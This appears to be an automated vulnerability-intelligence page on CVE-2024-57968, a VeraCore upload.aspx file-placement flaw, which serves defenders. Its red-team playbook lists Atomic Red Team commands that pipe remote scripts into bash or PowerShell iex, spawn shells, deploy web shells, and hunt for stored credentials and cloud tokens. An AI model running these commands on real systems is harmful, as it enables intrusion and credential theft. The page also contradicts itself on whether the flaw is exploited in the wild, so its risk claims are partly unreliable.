CVE-2024-57968
Overview
The vulnerability is an improper file upload control in Advantive VeraCore versions prior to 2024.4.2.1, specifically involving the upload.aspx component. The root cause is insufficient validation of the destination directory during file upload operations, allowing authenticated users to place files into arbitrary folders. This flaw affects the web application's file handling mechanism, enabling manipulation of file storage paths beyond intended restrictions.
Vulnerability Description
Advantive VeraCore before 2024.4.2.1 allows remote authenticated users to upload files to unintended folders (e.g., ones that are accessible during web browsing by other users). upload.aspx can be used for this.
Impact
An attacker with valid user credentials can upload malicious or unauthorized files into directories accessible by other users via web browsing. This can lead to unauthorized data exposure, potential execution of malicious scripts, or lateral movement within the application environment. The prerequisite is possession of a low-privileged authenticated account, which is sufficient to exploit the flaw. The business impact includes data integrity compromise and potential escalation of privileges through malicious file deployment.
Solution
Advantive has addressed this vulnerability in VeraCore version 2024.4.2.1. Users should upgrade to this version or later as detailed in the official release notes at https://advantive.my.site.com/support/s/article/VeraCore-Release-Notes-2024-4-2-1. No alternative workarounds are documented. Following the vendor advisory is essential to ensure proper remediation of the file upload validation issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Advantive VeraCore prior to version 2024.4.2.1 allows remote authenticated users to upload files to unintended directories, which can be accessed by other users during web browsing. This flaw arises from improper validation and handling of file upload requests, specifically through the upload.aspx interface. The lack of adequate access controls and directory restrictions means that files can be placed in locations that are not intended for user access. This oversight can lead to significant security concerns, as it opens the door for unauthorized data exposure and potential exploitation.
Attack vectors associated with this vulnerability are primarily centered around authenticated users who can exploit the file upload functionality. An attacker could leverage their legitimate access to upload malicious files, such as scripts or executables, into directories that are publicly accessible or shared among users. Once uploaded, these files could be executed or accessed by other users, leading to a range of malicious activities, including data theft, unauthorized access to sensitive information, or the deployment of malware. The scenario becomes even more critical if the uploaded files are designed to exploit other vulnerabilities in the system or in client applications, thereby facilitating a broader attack.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on Advantive VeraCore for their operations. The risk of data exposure is heightened, as sensitive information could be inadvertently shared with unauthorized users. This could lead to compliance violations, especially in industries that handle personal or financial data, resulting in legal ramifications and financial penalties. Additionally, the reputational damage from a data breach can have long-lasting effects on customer trust and brand integrity. Organizations may also face operational disruptions as they respond to incidents stemming from this vulnerability, further compounding the business risk.
To detect and mitigate this vulnerability, organizations should implement several strategies. First and foremost, it is crucial to upgrade to the latest version of Advantive VeraCore, which addresses this flaw. Regularly updating software and applying security patches is a fundamental practice in maintaining a secure environment. Additionally, organizations should conduct thorough security assessments and penetration testing to identify and remediate any potential weaknesses in their systems. Implementing strict file upload controls, including file type restrictions, size limits, and directory access permissions, can significantly reduce the risk of unauthorized file uploads. Furthermore, monitoring user activity and implementing logging mechanisms can help detect any suspicious behavior related to file uploads.
In conclusion, the vulnerability present in Advantive VeraCore poses a significant threat to organizations that utilize this software. The ability for authenticated users to upload files to unintended directories can lead to severe consequences, including data breaches and operational disruptions. By understanding the technical aspects of this vulnerability, recognizing potential attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks associated with this flaw. Proactive cybersecurity measures and a commitment to regular software updates are essential in safeguarding sensitive information and maintaining the integrity of business operations.
The CVSS score for CVE-2024-57968 has been revised upward to 9.9, reflecting a reassessment of the vulnerability’s criticality. This adjustment underscores the heightened potential impact of unauthorized file uploads to unintended directories within Advantive VeraCore, which could facilitate broader attack vectors such as data exposure or web-based code execution. Although the EPSS score shows a slight decline, indicating a modest reduction in predicted exploit likelihood, the vulnerability’s inclusion in the KEV catalog signals increased recognition of its severity and prioritization for remediation. Our telemetry continues to show no confirmed exploitation in the wild, but the elevated CVSS score combined with the KEV listing suggests that defenders should treat this flaw as a high-priority risk. The updated risk profile emphasizes the need for vigilant monitoring of authenticated user activities and reinforces the critical nature of applying the vendor’s patch to prevent potential compromise scenarios.
Update 2 — June 09, 2026
The recent adjustment of the CVSS score for CVE-2024-57968 from 9.9 to 8.8 reflects a refined understanding of the vulnerability’s impact and exploitability, aligning it more accurately with current threat modeling. This recalibration, coupled with the vulnerability’s formal inclusion in the KEV catalog, underscores a growing consensus on its criticality within the security community. Although our telemetry continues to show no confirmed exploitation attempts or ransomware activity leveraging this flaw, the stable EPSS score near the top percentile indicates a persistent potential for exploitation, particularly given the authenticated access requirement and the ability to upload files to unintended directories. For defenders, this means that while immediate exploitation has not surged, the vulnerability remains a high-priority risk due to its capacity to facilitate unauthorized file placement that could lead to further compromise. The updated risk profile calls for sustained vigilance in monitoring authenticated user actions and reinforces the importance of timely patch deployment to mitigate latent threats that could emerge if adversaries develop targeted exploits.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Advantive | Veracore | All |
cpe:2.3:a:advantive:veracore:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-57968 |
| advantive.my.site.com |
GitHub CVE
|
https://advantive.my.site.com/support/s/article/VeraCore-Release-Notes-2024-4-2-1 |
| intezer.com |
GitHub CVE
|
https://intezer.com/blog/research/xe-group-exploiting-zero-days/ |
| solissecurity.com |
GitHub CVE
|
https://www.solissecurity.com/en-us/insights/xe-group-from-credit-card-skimming-to-exploiting-zero-days/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-57968 |